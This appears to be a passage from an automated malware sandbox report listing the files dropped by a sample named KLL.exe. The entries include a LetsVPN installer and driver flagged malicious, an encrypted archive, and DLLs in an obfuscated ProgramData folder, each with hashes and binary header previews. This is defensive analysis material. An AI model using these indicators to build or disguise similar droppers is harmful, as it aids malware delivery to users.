                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:Windows setup INFormation
                                                                                            Category:dropped
                                                                                            Size (bytes):7632
                                                                                            Entropy (8bit):5.063558190257152
                                                                                            Encrypted:false
                                                                                            SSDEEP:192:wr8tW9yCTi3x4vlQd22bjR+iAUC7bMP+io3DcNSj6jvKFkPs7EQTXvt1Ld4Z:LWlGNdkkzo3DcNSj6jvKFkPs7EQTXvtk
                                                                                            MD5:26009F092BA352C1A64322268B47E0E3
                                                                                            SHA1:E1B2220CD8DCAEF6F7411A527705BD90A5922099
                                                                                            SHA-256:150EF8EB07532146F833DC020C02238161043260B8A565C3CFCB2365BAD980D9
                                                                                            SHA-512:C18111982CA233A7FC5D1E893F9BD8A3ED739756A47651E0638DEBB0704066AF6B25942C7961CDEEDF953A206EB159FE50E0E10055C40B68EB0D22F6064BB363
                                                                                            Malicious:false
                                                                                            Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                            C:\Program Files (x86)\letsvpn\driver\tap0901.cat

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:data
                                                                                            Category:dropped
                                                                                            Size (bytes):10739
                                                                                            Entropy (8bit):7.214364446291792
                                                                                            Encrypted:false
                                                                                            SSDEEP:192:JDVLGVDFfap5UEwQl/WGhYCt17vJ4qnaj6jQc:7GCpzlnh3t1x4l2jn
                                                                                            MD5:F73AC62E8DF97FAF3FC8D83E7F71BF3F
                                                                                            SHA1:619A6E8F7A9803A4C71F73060649903606BEAF4E
                                                                                            SHA-256:CC74CDB88C198EB00AEF4CAA20BF1FDA9256917713A916E6B94435CD4DCB7F7B
                                                                                            SHA-512:F81F5757E0E449AD66A632299BCBE268ED02DF61333A304DCCAFB76B2AD26BAF1A09E7F837762EE4780AFB47D90A09BF07CB5B8B519C6FB231B54FA4FBE17FFE
                                                                                            Malicious:false
                                                                                            Preview:0.)...*.H........).0.)....1.0...`.H.e......0..i..+.....7.....Z0..V0...+.....7.......r?.X.M.....F.A..201008141946Z0...+.....7.....0..T0.... .....S!F.3....#.a.2`..e...#e...1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .....S!F.3....#.a.2`..e...#e...0...."~..m..8C. i$.4.l..1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... ..j(.M<.cR..XrT....F..R.]....?1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... ..j(.M<.cR..XrT....F..R.]....?0.....".....A.Rw..... .1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f.......0...0....+.

                                                                                            C:\Program Files (x86)\letsvpn\driver\tap0901.sys

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):39920
                                                                                            Entropy (8bit):6.338128217115975
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:XtCuL1O/+AphG3F9NlXt5oZhDzbV104mmuiExsFwQvYp33U35:XdCoTxk1lmmjExsFNvYtk
                                                                                            MD5:C10CCDEC5D7AF458E726A51BB3CDC732
                                                                                            SHA1:0553AAB8C2106ABB4120353360D747B0A2B4C94F
                                                                                            SHA-256:589C5667B1602837205DA8EA8E92FE13F8C36048B293DF931C99B39641052253
                                                                                            SHA-512:7437C12AE5B31E389DE3053A55996E7A0D30689C6E0D10BDE28F1FBF55CEE42E65AA441B7B82448334E725C0899384DEE2645CE5C311F3A3CFC68E42AD046981
                                                                                            Malicious:true
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......_.........."......Z.....................@....................................=w....`A....................................................<.......X....p..T....x...#...........R..8............................S...............P...............................text..._>.......@.................. ..h.rdata.......P.......D..............@..H.data........`.......P..............@....pdata..T....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                            C:\Program Files (x86)\letsvpn\driver\tapinstall.exe

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):101536
                                                                                            Entropy (8bit):5.597950959538587
                                                                                            Encrypted:false
                                                                                            SSDEEP:1536:ImYSYxGfIZnRnD6M7EFOUakPhtUn6KXF4O7WfvZt9c:HYFZnRDGdvPXU6K1RW
                                                                                            MD5:1E3CF83B17891AEE98C3E30012F0B034
                                                                                            SHA1:824F299E8EFD95BECA7DD531A1067BFD5F03B646
                                                                                            SHA-256:9F45A39015774EEAA2A6218793EDC8E6273EB9F764F3AEDEE5CF9E9CCACDB53F
                                                                                            SHA-512:FA5CF687EEFD7A85B60C32542F5CB3186E1E835C01063681204B195542105E8718DA2F42F3E1F84DF6B0D49D7EEBAD6CB9855666301E9A1C5573455E25138A8B
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........V........-.....;......<.......+....%......S....%......2....~......,.....)...Rich..........PE..d...<..W..........".................Tv............................................... ....@.......... ..................................................h.......l....D...H...p..........................................................X............................text............................... ..`.data...............................@....pdata..l...........................@..@.rsrc...h...........................@..@.reloc..z....p.......B..............@..B................................................................................................................................................................................................................................................................................................

                                                                                            C:\Program Files (x86)\letsvpn\ndp462-web.exe

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):1429344
                                                                                            Entropy (8bit):7.9320530592846135
                                                                                            Encrypted:false
                                                                                            SSDEEP:24576:8XWYAlLlqSmtLvUDSRbm4Jah1rVxzY8Ja1xbLAAAOurzXuV1F+eAXvUS1vlPA:8mYAlLfeTUDBzrVxzYTOTOu3Xu5AX/l4
                                                                                            MD5:B5A67867CDCE86E09E2625A6FA4D5FEA
                                                                                            SHA1:C42E6ED280290648BBD59F664008852F4CFE4548
                                                                                            SHA-256:5E21C85034311C51D8B0367A773D475AF2392B3DDCD90676C61697C6B5FD2E6A
                                                                                            SHA-512:31D7081BFFEEB5F32457096E51A29236306E5D971DE7EDB80A51188BCCDA9B9F17F0C3593D30828FC140B7A023F5B6842BC922F2023C7B8EA3786C2DBEC40472
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......So....x...x...x.......x.0.....x......x.xx..<.x.xx....x.xx..~.x......x...y...x.....Q.x.......x.......x.......x.Rich..x.........................PE..L.....\V.........."......l...t...................@..........................@.......)....@...... ..................`z...................................>..........@................................V..@............................................text....j.......l.................. ..`.data...@7...........p..............@....idata..H...........................@..@.boxld01............................@..@.rsrc............ ..................@..@.reloc...(.......*..................@..B................................................................................................................................................................................................................................................

                                                                                            C:\Program Files (x86)\letsvpn\packages\RELEASES

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:Unicode text, UTF-8 (with BOM) text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):85
                                                                                            Entropy (8bit):5.030867078172115
                                                                                            Encrypted:false
                                                                                            SSDEEP:3:1hhloYBl+zVfQ2OsJ1ERxrGE6:tlJlmfQ21ELGJ
                                                                                            MD5:BC5CCF47A41F4A2D1E17D3A946107982
                                                                                            SHA1:6A367ADCF75314100E39639A955063664704196D
                                                                                            SHA-256:38336F464063498B67372D863050F610E9EE4AF0C7FCE89B4CF7A959D5B0C065
                                                                                            SHA-512:CC79F94DCBE5C2F8C1B2B8872957FF7D1355FF3D1DF436797528EB2C12F8C0DECF19554B69551E1CB2F8BAB4E8EBC3CAB32BEC7D00F047D75527C46990EC0730
                                                                                            Malicious:false
                                                                                            Preview:.16D8F0925B586BA4517ED4B3A0C86F0D350F75E0 SquirrelLetsVPN-3.7.0-full.nupkg 12608658

                                                                                            C:\Program Files (x86)\letsvpn\uninst.exe

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                                                            Category:dropped
                                                                                            Size (bytes):108432
                                                                                            Entropy (8bit):7.184393453515108
                                                                                            Encrypted:false
                                                                                            SSDEEP:3072:9TJ4TJdRVDZ6Lt+uweLlt3cgATZ+eWeH+BC/UN73qXwF:9VGdx6x/xJcgGZ+sUN73qXY
                                                                                            MD5:A64ABDF54C91128B79BA4426032AAEED
                                                                                            SHA1:89401C1AF279E122BBEAFB120B3EF53EEABE42F9
                                                                                            SHA-256:6579DEA98961E4866FABA94B4BC202E732A2A48DDE07BDC497B2E9562134AD80
                                                                                            SHA-512:A6881E493C9ED0021D04B5DD9B00184CA28192A21A3450F48EBB835FBEEED2CB327281EE9ACEA711AEBF2E464CFB62BF982447D54EEC1A7BFC4E1DCE500B6B38
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf.*_9..Pf..Pg.LPf.*_;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L...<.oZ.................h...........3............@..........................@...........@..........................................p..............@....+...........................................................................................text...'f.......h.................. ..`.rdata...............l..............@..@.data...............................@....ndata... ...P...........................rsrc........p......................@..@................................................................................................................................................................................................................................................................................................................................................

                                                                                            C:\ProgramData\Microsoft\Network\Downloader\edb.chk

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\svchost.exe
                                                                                            File Type:data
                                                                                            Category:dropped
                                                                                            Size (bytes):8192
                                                                                            Entropy (8bit):0.363788168458258
                                                                                            Encrypted:false
                                                                                            SSDEEP:6:6xPoaaD0JOCEfMuaaD0JOCEfMKQmDNOxPoaaD0JOCEfMuaaD0JOCEfMKQmDN:1aaD0JcaaD0JwQQbaaD0JcaaD0JwQQ
                                                                                            MD5:0E72F896C84F1457C62C0E20338FAC0D
                                                                                            SHA1:9C071CC3D15E5BD8BF603391AE447202BD9F8537
                                                                                            SHA-256:686DC879EA8690C42D3D5D10D0148AE7110FA4D8DCCBF957FB8E41EE3D4A42B3
                                                                                            SHA-512:AAA5BE088708DABC2EC9A7A6632BDF5700BE719D3F72B732BD2DFD1A3CFDD5C8884BFA4951DB0C499AF423EC30B14A49A30FBB831D1B0A880FE10053043A4251
                                                                                            Malicious:false
                                                                                            Preview:*.>...........&.....D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................................................&.............................................................................................................................................................................................................................................................................................................................................................

                                                                                            C:\ProgramData\Microsoft\Network\Downloader\edb.log

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\svchost.exe
                                                                                            File Type:data
                                                                                            Category:dropped
                                                                                            Size (bytes):1310720
                                                                                            Entropy (8bit):1.3107754460891567
                                                                                            Encrypted:false
                                                                                            SSDEEP:3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrv:KooCEYhgYEL0In
                                                                                            MD5:83D2BF2099FDF046BF9E9408ABC08343
                                                                                            SHA1:C300C77F4901D1C06395D47F9F40CADE6CD040C4
                                                                                            SHA-256:CD87ADE7368860BFB856C2A05A545BB8243B588EEB9C33043724BC29A7DB5515
                                                                                            SHA-512:1D47AD3998AE0A0B61B07B46C1B994B5C6405BBC2D852A3BECA129329D7A50AD0A0CB6BACFA0F1D2D4E8181B9DB560BBF3DD6F984A89662CEB7C6F6A568771E1
                                                                                            Malicious:false
                                                                                            Preview:z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

                                                                                            C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\svchost.exe
                                                                                            File Type:Extensible storage engine DataBase, version 0x620, checksum 0x26aee47f, page size 16384, Windows version 10.0
                                                                                            Category:dropped
                                                                                            Size (bytes):1310720
                                                                                            Entropy (8bit):0.42218961637170427
                                                                                            Encrypted:false
                                                                                            SSDEEP:1536:HSB2ESB2SSjlK/uedMrSU0OrsJzvqYkr3g16f2UPkLk+ku4/Iw4KKazAkUk1k2DO:Hazag03A2UrzJDO
                                                                                            MD5:CB545BA2FE6F8A81533DAF880F4AF61F
                                                                                            SHA1:C9F8FCA46080B740F4157B47E6ECD91DD745469C
                                                                                            SHA-256:6EE8D71C2DC2DE56B4E5326D31E0B3B443ABCF84B46C0388DAE1EF9F7675FC00
                                                                                            SHA-512:FD34F6040257A801DAFEF6D1E36CDC153C96E50949938F4C4424511713953609B70C82E3971354131EDEAA5C15D1197E4E24BC774184CFE4D186B709B121880D
                                                                                            Malicious:false
                                                                                            Preview:&...... .......Y.......X\...;...{......................n.%......'...|...$...|O.h.#......'...|..n.%.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{...................................V3~.'...|...................%'..'...|...........................#......n.%.....................................................................................................................................................................................................................................................................................................................................................

                                                                                            C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\svchost.exe
                                                                                            File Type:data
                                                                                            Category:dropped
                                                                                            Size (bytes):16384
                                                                                            Entropy (8bit):0.07923731899698083
                                                                                            Encrypted:false
                                                                                            SSDEEP:3:/ImEetYeW6U3sllC7pgMelllzoIsVllAllOE/tlnl+/rTc:DdzDU8cgRsdApMP
                                                                                            MD5:55F2698141D13E8C355A8E530992131A
                                                                                            SHA1:89EFC748EE269AB1DBD854316784B33339965386
                                                                                            SHA-256:4832E2F98FE6132CB1960AE3ABD47D466FC0B196C5704AF414A8E6219A9391E9
                                                                                            SHA-512:3E71B54325B737189C3D0E2C841A910D293CBDA1EC83EFC2BD261264599A532CFB8F59872D4424F5F5BA3471ABC585DA0AD161D3B95F908B953E23852E779EDE
                                                                                            Malicious:false
                                                                                            Preview:xe.......................................;...{...$...|O..'...|...........'...|...'...|..l..n.'...|...................%'..'...|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                            C:\ProgramData\ckq

                                                                                            Download File
                                                                                            Process:C:\Users\user\Desktop\KLL.exe
                                                                                            File Type:Zip archive data, at least v2.0 to extract, compression method=deflate
                                                                                            Category:dropped
                                                                                            Size (bytes):15276447
                                                                                            Entropy (8bit):7.998753884111449
                                                                                            Encrypted:true
                                                                                            SSDEEP:393216:8JJ1AboWROo2Q3d2sMNJ+Hmasukzz34qx4:8JJ1AtROo1YsM6Hmad+oH
                                                                                            MD5:9437D784A2E279B14A4DC3CF259476FA
                                                                                            SHA1:EC9664C8EF8750024002FD26E965BC003908D546
                                                                                            SHA-256:885043FA2833789BE359A5C012076BC83F509DD4E70CA237A61B9C767ABB15D4
                                                                                            SHA-512:97DBEE4E312921BF603BE17315E5DB6072FB460F70DFA464F54EB9543A39CED7FC7797B8B798ABEF579EF575610607FE908982AC983DA1AD3BB16B037BEA176D
                                                                                            Malicious:false
                                                                                            Preview:PK.........Y.X6L<.....(.......letsvpn-latest.exe.}xT.7..+.$.f.........h..8D'$.>..Cf@..!.d..&{#.D.w.l7......9........E<...%.Q.G!.....q...a.....g..s.<....^..^'...^..Z.^....Z;.{.0.c..i..d.........].........iX...KC..y.M..6..[U.n]...@]^....~]^.._...u333...0~}..-...M...+>.............f............BT.....fl....~.pO2m.......B.y#cV.)D...5.:>R.x...._..i...^..=......c/R.1.u....z.c........U.?.).m..)..P..A.?y..?.iu.P....c..a.......z1.........*.5s].`...k.G].....q.............W~..Aip..b....]....LiA.C.T+.....D.&.4..L~.......J.y.G./..<+.YR.y&.m..Y=-.iJ.T7.)+ZQ.(...n.....J......W.M{d..G...O.!..I.....W<..[9...XJ5..E.....a.......]....y..k9....2..l.....3....l..V..-.}...I...:m.l-g)jut..P....@..,....j%..E.m........R..#..N....7....,Cj......].IGI;..[Y.u.=..,.7o....)G|.Gs...P....{.......h....)o....H...X....i~...n....^.q@.9...b..N._..........Ch:x..{..i....j+....a.W.P......d..P.TX....b.MH..5O..:sx'.=.]...s..y..N.H...V..l.Y.>...L.{d.. X...%........t...+.ZF.pNj.3!

                                                                                            C:\ProgramData\letsvpn-latest.exe

                                                                                            Download File
                                                                                            Process:C:\Users\user\Desktop\KLL.exe
                                                                                            File Type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                                                            Category:dropped
                                                                                            Size (bytes):15382056
                                                                                            Entropy (8bit):7.99696244933667
                                                                                            Encrypted:true
                                                                                            SSDEEP:196608:Lz/DARUOMn1C69maJR/v/IMUMeaxI7cXRFhGaJ26TpB+cKdFy65Fo+uLEeBYk5rW:HDp/9mEvZUMecIUGaJfOdFy65UDKZR
                                                                                            MD5:7CE62DC191CEE9DD1488C9D0A25FEDA4
                                                                                            SHA1:6A93A38644691389622E1C5CDD3BAF3CA429D0C1
                                                                                            SHA-256:6342D9126585047B6ECE614946B139FF3CC98ACA024CE368FADCEE1DDFE0D88E
                                                                                            SHA-512:1FAC206D9D52CC1054283948119F6C830367724F46BF4572F843855BEEE7E4CAA0BC17FEC09E725404E5880DCE15742BC5E40A6EC8CC21A2D6799232BA7D293D
                                                                                            Malicious:true
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf.*_9..Pf..Pg.LPf.*_;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L...<.oZ.................h...........3............@..........................@...........@..........................................p..............@....+...........................................................................................text...'f.......h.................. ..`.rdata...............l..............@..@.data...............................@....ndata... ...P...........................rsrc........p......................@..@................................................................................................................................................................................................................................................................................................................................................

                                                                                            C:\ProgramData\s2XlA\7R1b9~m7\SK.TXT

                                                                                            Download File
                                                                                            Process:C:\Users\user\Desktop\KLL.exe
                                                                                            File Type:data
                                                                                            Category:dropped
                                                                                            Size (bytes):209640
                                                                                            Entropy (8bit):7.999177905030001
                                                                                            Encrypted:true
                                                                                            SSDEEP:6144:dBzfkb8g9kic/0KgHkNi+TbB+MoT/yMQHH9s:dBDkgghcTgeTbHRMQna
                                                                                            MD5:679448E9A47B9C959EF182C26EF2897B
                                                                                            SHA1:0078996EC17F33E266295085AA04CF3F1B45B7F5
                                                                                            SHA-256:384D6FD29F7D0A290DA1F564CF4FE7EF47DCB2B3FE3F676C12876C32DBC1D9A0
                                                                                            SHA-512:68D3AA5F4758AB036FE805EE29F41B7DFB5CF1637C1E37BB1F5D1498CE4756C85F244998488B82335DD4F890B9E2C33FA28FCD637586BE9709E1D090EE6656C9
                                                                                            Malicious:false
                                                                                            Preview:...y.J..'........Q......."..5A..!j/s4BC.b.`.f.u.l..T.~....f?#.*):.Sl.`.A.........0.N4%q.5.].tm..U........<...o.s}.....8Pz..*r{.L.S_._x......a.....(<...H4O.(...N...K. ..<_.VS....,..P..~w...~........-.J..4S.>...{..fSV..0....8..._F...(D...(....p..kYF.L.I.CE..2=.....#.3I...Q..rc.>.z.w7hU....T..f..r8.).) X:&1qd.R.L.G.........E.n.R.*w.Y.)cT...^..>....U.Z...O!y.1I)..J.....U.....5..6.). U*.....!.*.f...V....&....x..%..b`VE..'i.......a....<....J.-W....N...#p......"./.d..98.(..0A@.9..6..s..W8us..u.#;rf..m..y..c}by .>.R.i..c...T...MlS...Qh....RT.e..z.ex"......(...;...S.S..R.1%i!.o....d.cm....f.`m.*.c..bpV..x..~@.w.....#.YJo.g p..V...Hm.)0..t...G.s...4..y.f.sb8)........K?......-...Y..lD.G...K.M...6........w....T..#.B..o..$...........Cy.....xC.eF`b...]...~..Q..C.....U}.Nb..K.....L.pr..R!.?...$q..N._d..+@.c...A..-f -...X.'[.....I...\..i.[.J..g.AU....oK.D.........kA.1....6;Eq..Dz`:......R....G.._&..J.e_.v..:.&.Go....|"1.U.,~A.;.._P2.0.....p......BX....gW.~

                                                                                            C:\ProgramData\s2XlA\7R1b9~m7\a

                                                                                            Download File
                                                                                            Process:C:\Users\user\Desktop\KLL.exe
                                                                                            File Type:data
                                                                                            Category:dropped
                                                                                            Size (bytes):1399296
                                                                                            Entropy (8bit):6.56865238701383
                                                                                            Encrypted:false
                                                                                            SSDEEP:24576:NYHcEsHv1dwkFXu0RmyM8gcPKkHPzHGgpfpT5/e7qJ5pv:O8EsHv1dL//e7qJ5pv
                                                                                            MD5:6B42AFD6E161EE8C54CDFB11B5AF9FFB
                                                                                            SHA1:2E781314CE1D547E9E4B8BC081B09FDC2BC2E3EE
                                                                                            SHA-256:1CC454D14CA5A589B30E609A3B9D092F157D0AFFD0A50FC381FC6211809710AC
                                                                                            SHA-512:F3B3A236440122FD94D4832C0BFB3136F92E36C945E4F2E886D04ACA995420DE3E8DDC26CDA06E0A7E637205FE09B1BF4CDF77F7500D16FBDBC738A4AD3E381C
                                                                                            Malicious:false
                                                                                            Preview:M..U.u..E......C.+C..+.....P.C.+..+.....PS...5.._^..[..]...U..E.........E.........E........]....h....U..QQ.E..E..S+..]..E.....x...V..W.].......u..+.U........+.+.]..E.....+E..C..E...K..C..C..E..K......s._.s .C$.E.^.K..C(.K,[..]...j... ........e...$u...}.e...A.j.j.P..,1..P.M..M....u..u..u...\1...M.}..........@......U....../&.3.E.V.E.3.P.q .u.u..u.u....7..j.V.E.P..,5...E...^;E....U..M.;.}.;E.~..E....M..E..]..E..E..]..e.E.+E..E..E..]..u.M.3.......]...SW...w ..$7..P.m......t.V.w ...Gm..V...Qh.....s ..p6..^_[.U...,../&.3.E.SV..3.CW......;...r...............;.......3.9.................W...u*.....C4;.....t.G......;.....|...................C<..S@...E.E...%t7...t....t....u+.CD.+......{D...KD...CD.+.......+{D.S@..+KD;M.u.;...N...WQ...............}.(..3....v ..$7..P.;...Ph...../.....YY..........X................._o....X............T....A.}.%.......}.&v..}.(............H;........G.....~..G.P.......<).....T.v ..$7..P....Ph.........YY....u............h...........n.......

                                                                                            C:\ProgramData\s2XlA\7R1b9~m7\msvcp140.dll

                                                                                            Download File
                                                                                            Process:C:\Users\user\Desktop\KLL.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):439608
                                                                                            Entropy (8bit):6.652249319015373
                                                                                            Encrypted:false
                                                                                            SSDEEP:12288:oAoA7hbarg71r4RzfxjJhUgiW6QR7t5s03Ooc8dHkC2esq0Ju:oAoAN3r0Bm03Ooc8dHkC2eT0Ju
                                                                                            MD5:1D8C79F293CA86E8857149FB4EFE4452
                                                                                            SHA1:7474E7A5CB9C79C4B99FDF9FB50EF3011BEF7E8F
                                                                                            SHA-256:C09B126E7D4C1E6EFB3FFCDA2358252CE37383572C78E56CA97497A7F7C793E4
                                                                                            SHA-512:83C4D842D4B07BA5CEC559B6CD1C22AB8201941A667E7B173C405D2FC8862F7E5D9703E14BD7A1BABD75165C30E1A2C95F9D1648F318340EA5E2B145D54919B1
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........U.C.4...4...4..t.I..4...L...4..Lm...4...4...4..Lm...4..Lm...4..Lm...4..Lm...4..Lm...4..Lm}..4..Lm...4..Rich.4..........................PE..L.....U.........."!................ ........ ...........................................@A.........................A.......R..,....................v..8?.......:..0g..8............................)..@............P......P>..@....................text..."........................... ..`.data....'... ......................@....idata..2....P......................@..@.didat..4....p.......4..............@....rsrc................6..............@..@.reloc...:.......<...:..............@..B........................................................................................................................................................................................................................................................

                                                                                            C:\ProgramData\s2XlA\7R1b9~m7\s

                                                                                            Download File
                                                                                            Process:C:\Users\user\Desktop\KLL.exe
                                                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):1399296
                                                                                            Entropy (8bit):6.567433402650088
                                                                                            Encrypted:false
                                                                                            SSDEEP:24576:odxGJLTlwL/kWX4VxKZ+8vFT8PmO1qYP2tD8kJOaA7VKLGucdsSgg43/u:Cy2L/kje8OFJG+yk87AGuWl4vu
                                                                                            MD5:7592B1B592DBEC1FCE9E1358ED7E9BDA
                                                                                            SHA1:0D8A5A8647D8064D54430AE0167DAE7539960A10
                                                                                            SHA-256:23987FC9BB6C34592C729A05528524A2D875F852AB62558FD80588075A5EA170
                                                                                            SHA-512:12AB7F58EE31CDFFC03F5C69E87C3C52C520884C76184116F88FEEB3A29E3406B25E30F6BB64C8F3853549F92442009540FC62A35EE66660BF039664F0AB9455
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........,.K.M...M...M..5....M..5...$M..5....M...5d..M...5c..M...5s..M...M..~O..,....M..,....M..,....L..4....M..4....M..4....M...Mw..M..4....M..Rich.M..........PE..L....C.f...........!.........F......\........0................................,...........@...........................#.....L.%.@.....*.H1...................@*.d|...C!.8...................tD!......D!.@............0..P............................text............................... ..`.rdata.......0......."..............@..@.data........ &..T....&.............@....gfids..h....0(......^&.............@..@.giats........).......(.............@..@.tls..........).......(.............@....rsrc...H1....*..2....(.............@..@.reloc..d|...@*..~...6(.............@..B........................................................................................................................................................

                                                                                            C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exe

                                                                                            Download File
                                                                                            Process:C:\Users\user\Desktop\KLL.exe
                                                                                            File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):99904
                                                                                            Entropy (8bit):6.435962118124312
                                                                                            Encrypted:false
                                                                                            SSDEEP:1536:xvQ8DfZL6Gp/N6EZZtS/PG4/L1VOKFcbXWIJJffAgv:xvQ8DZ2vEZZtS3FxVRiGCfhv
                                                                                            MD5:8AA07B7C6C632F4EDF07A0E2B91F8566
                                                                                            SHA1:2E72D725A845B532C19A422FB32DEB629F53C824
                                                                                            SHA-256:DD8BFBB25430E7F19E24234494324264BE98AC0CC20B239E18B4DD35E26EC1BC
                                                                                            SHA-512:A9B3EB0B0EAFC53ACE21E30C12CCB64B9FC152CDF52A4A2C0B395DC6F9D20181B3006DCE14A16226DF9010A68673BB71656D8A95AC0597A12D05C99D15E3F909
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o...+..E+..E+..E8.D)..E8.D'..Ej..D)..E8.D/..E8.D5..E"..E2..E+..E...Ej..D*..Ej..D,..Ej.sE*..E+..E*..Ej..D*..ERich+..E........................PE..L....)a[..........................................@.................................].....@.................................h...,.... ..H_...........r..@...............p........................... ...@...............T............................text.............................. ..`.rdata...n.......p..................@..@.data...............................@....rsrc...H_... ...`..................@..@.reloc...............d..............@..B........................................................................................................................................................................................................................................................................................

                                                                                            C:\ProgramData\s2XlA\7R1b9~m7\uc_guilib.dll

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\cmd.exe
                                                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):2798592
                                                                                            Entropy (8bit):6.785357408096823
                                                                                            Encrypted:false
                                                                                            SSDEEP:49152:Cy2L/kje8OFJG+yk87AGuWl4vZ8EsHv1dL//e7qJ5pv:92jkje8KM+ykyAGuWl4h5sHv1N/
                                                                                            MD5:222FC00C04823BAAEF6EA2406082DB6E
                                                                                            SHA1:B4042DAFBD8DED61C64C8ED69B8DC06710950A01
                                                                                            SHA-256:90BA55338412BFF084A981F67DA7FF07333C339C1965CFA23832442532247C50
                                                                                            SHA-512:65C99E567C9BE76C94553DE46DE5F7B6C079630921A063897DC8C4EA0D7C2EC34634A2004F5C10135AD18A38BDB35E92CF3161638B3855E2C9D2216B3EE74877
                                                                                            Malicious:false
